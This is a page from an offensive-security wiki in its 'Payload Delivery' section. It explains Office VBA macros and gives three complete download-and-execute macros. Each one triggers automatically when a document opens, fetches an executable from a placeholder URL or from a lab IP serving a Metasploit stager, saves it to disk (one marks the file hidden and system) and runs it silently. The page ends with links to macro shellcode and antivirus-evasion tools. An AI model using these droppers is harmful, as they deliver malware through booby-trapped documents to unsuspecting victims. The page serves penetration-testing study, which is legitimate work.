The Hive
GitHubLinkedInEmail
  • ๐Ÿ Home
  • ๐ŸŒRECON
    • ๐Ÿ“กPassive (OSINT)
      • โฉMetadata
      • โฉSocial Platforms
        • Email
        • Tumbler
        • Redit
        • Github
        • Tinder
        • TikTok
        • Snapchat
        • Instagram
        • Facebook
        • Twitter
        • Google
        • LinkedIn
    • ๐Ÿ“กActive
      • โฉHost Discovery / Network Mapping
      • โฉnmap cheat sheet
      • โฉmasscan cheat sheet
    • ๐Ÿ“กWeb Recon
      • โฉWeb Server Discovery
      • โฉHidden Hosts
      • โฉDirectories & Subdomains
      • โฉSSL Certs
      • โฉCMS
      • โฉWAF Detection
    • ๐Ÿ“กFirewall Evasion
  • ๐Ÿ“—Web Attacks
    • ๐ŸŸขServer Side
      • ๐ŸŸฉAuthentication Mechanisms
      • ๐ŸŸฉAccess Control (Authorization)
      • ๐ŸŸฉDirectory Traversal
      • ๐ŸŸฉOS Command Injection
      • ๐ŸŸฉServer-Side Request Forgery (SSRF)
      • ๐ŸŸฉXML External Entity (XXE) Injection
      • ๐ŸŸฉFile Upload
      • ๐Ÿ”งSQL Injection
      • ๐ŸŸฉInformation Disclosure
      • ๐ŸŸฉBusiness Logic
    • ๐ŸŸขClient Side
      • ๐ŸŸฉCross-site request forgery (CSRF)
      • ๐Ÿ”งCross-site scripting (XSS)
  • ๐Ÿ“’Network attacks
    • ๐ŸŸกNetwork Services
      • ๐ŸŸจBrute Force
      • ๐ŸŸจDNS
      • ๐ŸŸจIPv6
      • ๐ŸŸจFTP
      • ๐ŸŸจSSH
      • ๐ŸŸจSMB
      • ๐ŸŸจSNMP
      • ๐ŸŸจSMTP
      • ๐ŸŸจPOP3
      • ๐ŸŸจIMAP
      • ๐ŸŸจMSSQL
      • ๐ŸŸจMySQL
      • ๐ŸŸจMSRPC / RPCbind
      • ๐ŸŸจLDAP
      • ๐ŸŸจNTP
      • ๐ŸŸจNFS
      • ๐ŸŸจTelnet
      • ๐ŸŸจWebDAV
      • ๐ŸŸจRDP
      • ๐ŸŸจRSIP
      • ๐ŸŸจRlogin
      • ๐ŸŸจVPNs
      • ๐ŸŸจEcho
      • ๐Ÿ”งRTP
      • ๐Ÿ”งVOIP
        • SIP
    • ๐ŸŸกNetwork Devices
      • ๐ŸŸจIPv6 Attacks
        • Neighbor Impersonation
        • Router Advertisement Flooding
      • ๐ŸŸจSwitch Attacks
        • Cisco Exploitation
        • STP Spoofing
        • VLAN Hopping
        • MAC Flood
      • ๐ŸŸจRouter Attacks
        • Router Exploitation
        • HSRP Hijacking
        • ๐Ÿ”งRIP Spoofing
        • ๐Ÿ”งOSPF Attacks
        • ๐Ÿ”งVRRP MitM
      • ๐ŸŸจNAC Bypass
        • Captive Portal
        • 802.1X / EAP Bypass
      • ๐ŸŸจPrinter Exploitation
    • ๐ŸŸกMITM & Poisoning
      • ๐ŸŸจBettercap
      • ๐ŸŸจHTTPS Downgrade / HSTS Bypass
      • ๐ŸŸจSession Hijackings
      • ๐ŸŸจMalicious Update
      • ๐ŸŸจRDP Downgrade
      • ๐ŸŸจDNS Spoofing
      • ๐ŸŸจNTP Spoofing
      • ๐ŸŸจARP Spoofing
      • ๐ŸŸจDHCP Poisoning
      • ๐ŸŸจDHCPv6 Spoofing
      • ๐ŸŸจSSDP Spoofing
      • ๐ŸŸจWSUS Spoofing
      • ๐ŸŸจADIDNS Poisoning
      • ๐ŸŸจWPAD Abuse
    • ๐ŸŸกWireless Attacks
      • ๐ŸŸจProtocol Concepts
      • ๐ŸŸจBasics
      • ๐ŸŸจAttacks
    • ๐ŸŸกSniffing
      • ๐ŸŸจWireshark
      • ๐ŸŸจtcpdump
    • ๐ŸŸกDenial of Service
  • ๐Ÿ“•Red Team
    • ๐Ÿ”ดWindows
      • โญ•Security Concepts
        • Windows Security Components
        • Active Directory Components
        • Kerberos
        • Loggon Sessions and Access Tokens
        • Permissions and Access Control
        • Windows Registry
        • Object Management
      • โญ•Physical Attack
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • DLL Hijacking
          • Phantom DLL Hijacking / Replacement
          • Search Order Hijacking ( Preloading )
          • DLL Side-Loading
        • Service Misconfigurations
          • Weak Registry Permissions
          • Insecure Service Executables
          • Insecure Permission
          • Unquoted Service Path
        • Creating a New Service (admin to system)
        • Registry
          • AlwaysInstallElevated
          • AutoRuns
        • Scheduled Tasks
        • Mass Roll-outs
        • Startup Apps
        • Installed Applications
        • Loopback Services
        • Insecure GUI APPs
        • Potatos
        • Printspoofer / SEImpersonate
        • PSEXEC (admin to system)
      • โญ•Credential Dumping
      • โญ•Persistence
        • Invisible Account Forger
        • Add User
        • Scheduled Tasks
        • Run Registry Keys
        • Logon Scripts
        • Screensavers Hijack
        • Powershell Profiles & Modules
        • Service Creation/Modification
        • Shortcut Modification
        • Startup Folder
        • RDP backdoors
        • COM Hijacking
    • ๐Ÿ”ดActive Directory
      • โญ•Domain Enumeration
      • โญ•Tools & Frameworks
        • Evil-WinRM
        • CME cheat sheet
        • SharpSploit
        • impacket cheat sheet
        • DeathStar
      • โญ•Exploitation
        • LLMNR Poisoning
        • SMB/NTLM Relay
        • DNS Takeover + LDAP Relay
        • Cracking Hashes
        • Password spraying
        • ADCS + PetitPotam NTLM Relay
        • EternalBlue
        • ZeroLogon
        • MS Exchange ProxyShell
        • MS Exchange ProxyLogon
        • Java JBOSS
      • โญ•Privilege Escalation
        • Token Impersonation
        • DNS Admins
        • AD CS Abuse
        • ACL Abuse
          • GenericAll
          • Write Property
          • Self-membership
          • ForceChangePassword
          • Managed Security Groups
          • Exchange Windows Permissions
        • Group Policy Objects (GPOs)
        • Custom SSPs
        • PrintNightmare
      • โญ•Lateral Movement
        • RDP Password Decryption
        • RDP Session Hijacking
        • headless RDP with SharpRDP
        • Domain Shares
        • SCF File Attacks
        • Pass the Hash / Password
        • Overpass the Hash / Pass the Key
        • Pass The Ticket
        • Kerberosting / AS-REP Rosting
        • Kerberos Delegation
      • โญ•Credential Dumping
        • CredSSP / TSPKG
        • Wdigest Clear Text
        • DPAPI secrets
        • SAM & Registry
        • NTDS.dit & vshadow
        • comsvcs.dll
        • Meterpreter
        • Procdump & LSASS
        • AD User Comments
        • SYSVOL & Group Policy Preferences
        • LAPS Passwords
        • GSMA Passwords
        • HiveNightmare
        • Mimikatz Cheat sheet
        • Other Tools / Techniques
      • โญ•Persistence
        • Certificates
        • DCSync
        • DCShadow
        • Silver Ticket
        • Golden Ticket
        • Skeleton Key
        • WMI
        • PowerShell Remoting
        • Remote Registry
        • Rights Abuse
        • AdminSDHolder
        • DSRM
        • Kerberos Checksum Validation ( MS14-068 )
    • ๐Ÿ”ดLinux
      • โญ•Physical Attacks
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • SUID / SGID abuse
        • /etc/shadow & /etc/passwd
        • cron/crontab abuse
        • Sudo Abuse
        • Capabilities Abuse
        • Environment Variables
          • LD_LIBRARY_PATH
          • LD_PRELOAD
        • Shared Object Injection
        • NFS
        • man CE Pager Argument
        • MySQL UDF
        • UDEVD
        • STDIN/STDOUT
        • Unix Socket Exploitation
        • Dirty Pipe
        • Docker
          • SUID Docker
      • โญ•Lateral Movement
        • Infecting Running Processes
        • VIM Config File Keylogger
        • SSH Hijacking
        • Samba Secrets to Domain Admin
        • Hiding Processes
        • Simple User-mode Rootkits
        • Vino VNC Server
      • โญ•Credential Dumping
        • Swap Dump
        • mimipinguin
        • unshadow
        • 3snake
      • โญ•Persistence
        • Startup User File Backdoor
        • PHP Backdoor
        • Apache mod_rootme
        • Startup Service Backdoor
        • xdg Backdoor
        • rootbash SUID
        • apt Backdoor
        • Driver Backdoor
        • Core Pattern
        • dash Backdoor
        • Creating an SUID Binary
        • Systemd netcat bind shell
        • Xinetd UDP portnock
        • openSSL reverse shell
        • motd Backdoor
        • Auth Log Backdoor
        • RSYSLOG Backdoor
        • sshd Backdoor
        • VIM Config Backdoor
        • .bashrc Backdoor
        • Adding a Root user
        • Crontab Reverse Shell
        • SSH persistence password-less
      • โญ•Covering Tracks
    • ๐Ÿ”ดCommand & Control (C2)
      • โญ•Cobalt Strike
      • โญ•Metasploit
      • โญ•Empire & Starkiller
      • โญ•Covenant
    • ๐Ÿ”ดShells and Payloads
      • โญ•Shell Escape / Interactive Shell
      • โญ•LOL Binaries
      • โญ•msfvenom
      • โญ•SharpShooter & Ivy
      • โญ•Other Payloads
    • ๐Ÿ”ดPayload Delivery
      • โญ•Powershell Reflective DLL Load
      • โญ•HTML Smuggling
      • โญ•Office Macros
      • โญ•DDE Auto - Word/Excel
      • โญ•.SLK Excel
      • โญ•XLM Macro 4.0
      • โญ•LNK
      • โญ•embedded OLE + LNK objects
      • โญ•JScript
      • โญ•HTA
      • โญ•VBS
      • โญ•VBA
      • โญ•RTF
      • โญ•REG
      • โญ•MSI / MSIEXEC
      • โญ•IQY
      • โญ•CHM / HHC
      • โญ•SCR
    • ๐Ÿ”ดPivoting
      • โญ•SSH Forwarding
      • โญ•Socat Stealth Port Forward
      • โญ•Socat Reverse Shell Relay
      • โญ•HTTP Tunneling
      • โญ•ICMP Tunneling
      • โญ•DNS Tunneling
      • โญ•Metasploit Pivoting
      • โญ•Cobalt Strike Pivoteing
      • โญ•VPN Tunneling
      • โญ•Other Tools
    • ๐Ÿ”ดExfiltration / File Transfer
      • โญ•Encode / Decode Files
      • โญ•TCP / UDP
      • โญ•DNS
      • โญ•SSH
      • โญ•ICMP
      • โญ•SMB
      • โญ•FTP
      • โญ•HTTP
      • โญ•Other Methods
    • ๐Ÿ”ดPassword Attacks
      • โญ•Online Attacks
      • โญ•Offline Attack
      • โญ•Word List
      • โญ•Cheat Sheet
    • ๐Ÿ”ดDefense Evasion
      • โญ•Basic Tricks
      • ๐Ÿ”งPowershell Tricks
      • โญ•Disabling Defenses
      • โญ•UAC Bypass
      • โญ•Process Migration
      • โญ•Dechaining Macros
      • โญ•VBA Sandbox Evasion
      • โญ•AMSI Bypass
      • โญ•SRP & AppLocker Bypass
      • โญ•GPO Bypass
  • ๐Ÿ“˜Blue Team
    • ๐Ÿ”ตThreat Modeling / Hunting / Intelligence
    • ๐Ÿ”ตLinux Hardening
      • ๐Ÿ”นOS Security
        • Update Strategy
        • Service Management
        • Physical Security
        • Grub Hardening
        • Kernel Parameters
        • Process Isolation
      • ๐Ÿ”นAccounts & Passwords
        • Users & Groups
        • Password Security & Sudoers
      • ๐Ÿ”นAccess Control & Ownership
      • ๐Ÿ”นFile System Security
      • ๐Ÿ”นIntegrity Check
      • ๐Ÿ”นSandboxing
      • ๐Ÿ”นNetwork
      • ๐Ÿ”นiptables
        • Rule Sets
      • ๐Ÿ”นService Hardening
        • BIND9
        • vsftpd
        • Nginx
        • Apache
        • SSH
      • ๐Ÿ”นSystem Audit
      • ๐Ÿ”นLogging
        • auditd
      • ๐Ÿ”นEncryption
    • ๐Ÿ”ตSecurity Architecture
      • ๐Ÿ”นLayered Security
  • ๐ŸŸชPurple Teaming
    • ๐ŸŸฃAdversary Emulation
  • ๐ŸŸงprogramming
    • ๐ŸŸ C Programming
      • ๐Ÿ”ธBasic Structure
      • ๐Ÿ”ธGCC Compiler
      • ๐Ÿ”ธPreprocessors
      • ๐Ÿ”ธData Types
      • ๐Ÿ”ธType Qualifiers
      • ๐Ÿ”ธPointers
      • ๐Ÿ”ธDynamic Memory Allocation
      • ๐Ÿ”ธLoops
      • ๐Ÿ”ธConditional Statements
      • ๐Ÿ”ธFunctions
      • ๐Ÿ”ธInput / Output
      • ๐Ÿ”ธMacros
      • ๐Ÿ”ธFiles
      • ๐Ÿ”ธStrings Manipulation
      • ๐Ÿ”ธBit Manipulation
      • ๐Ÿ”ธData Structures
        • Arrays
        • Structures
        • Unions
      • ๐Ÿ”ธAbstract Data Types
        • Stack
        • Queue
        • Linked List
          • Singly Linked List
          • Doubly Linked List
      • ๐Ÿ”ธLibraries & Linking
      • ๐Ÿ”ธError Recovery
    • ๐Ÿ”งAssembly ( NASM )
      • Intel IA-32 Environment
      • Basic Structure
      • Variables and Data Types
      • Most-used Instructions
      • input / output
  • ๐ŸŸซMiscellaneous
    • ๐ŸŸคGNU Screen / tmux
    • ๐ŸŸคSSH Tricks
    • ๐ŸŸคCats
      • netcat
      • ncat
      • pwncat
      • socat
      • ๐Ÿ”งpowercat
    • ๐ŸŸคCurl
    • ๐ŸŸคCross-compiling Binaries
Powered by GitBook
On this page
  • VBA Macro
  • VBA Download & Execute
  • Shellcode Execution via VBA
  1. Red Team
  2. Payload Delivery

VBA

PreviousVBSNextRTF

Last updated 2 years ago

visual basic for applications is a VB scripting language embedded in applications like MS Office (a macro) and other applications like autoCAD.

with MS Office the VBA code is embedded in a document like a word processor file or spreadsheet.

VBA is more powerful than VBS because it can interface directly with the windows API. VBA programs are not restricted in their access to the operating system.

VBA Macro

VBA Download & Execute

Sub AutoOpen()

Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2

Dim xHttp
Dim bStrm
Dim filename

Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "https://<DOMAIN>/<FILE>", False
xHttp.Send

Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")

filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())

gobjBinaryOutputStream.Type = ADTYPEBINARY
gobjBinaryOutputStream.Open
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
gobjBinaryOutputStream.write xHttp.responseBody
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE

SetAttr filename, vbReadOnly + vbHidden + vbSystem
Shell (filename)

End Sub

or

Sub AutoOpen()
    Auto_Open
End Sub

Sub Auto_Open()
    payloadURL = "<Download URL>"
    Dim req: Set req = CreateObject("Microsoft.XMLHTTP")
    Dim payloadStream: Set payloadStream = CreateObject("Adodb.Stream")
    req.Open "GET", payloadURL, False
    req.Send

    tmpDir = Environ("TEMP")
    exePath = tmpDir + "\trhen.exe"
    With payloadStream
        .Type = 1
        .Open
        .write req.ResponseBody
        .savetofile exePath, 2
    End With
    
    Set WshShell = CreateObject("WScript.Shell")
    cmds = WshShell.Run(exePath, 0, True)
    Set WshShell = Nothing
End Sub

Download and execute with powershell

Sub Document_Open()
    MyMacro
End Sub
Sub AutoOpen()
    MyMacro
End Sub
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object
    System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe','msfstaged.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\msfstaged.exe"
    Wait (2)
    Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
    DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

Shellcode Execution via VBA

๐Ÿ“•
๐Ÿ”ด
โญ•
GitHub - S3cur3Th1sSh1t/OffensiveVBA: This repo covers some code execution and AV Evasion methods for Macros in Office documentsGitHub
UsefulScripts/ShellcodeToVBA.py at master ยท iilegacyyii/UsefulScriptsGitHub
GitHub - ScriptIdiot/vba_bin_runner: Basic python tools to generate shellcode runner in vbaGitHub
GitHub - karttoon/trigen: Trigen is a Python script which uses different combinations of Win32 function calls in generated VBA to execute shellcode.GitHub
Logo
Logo
Logo
Logo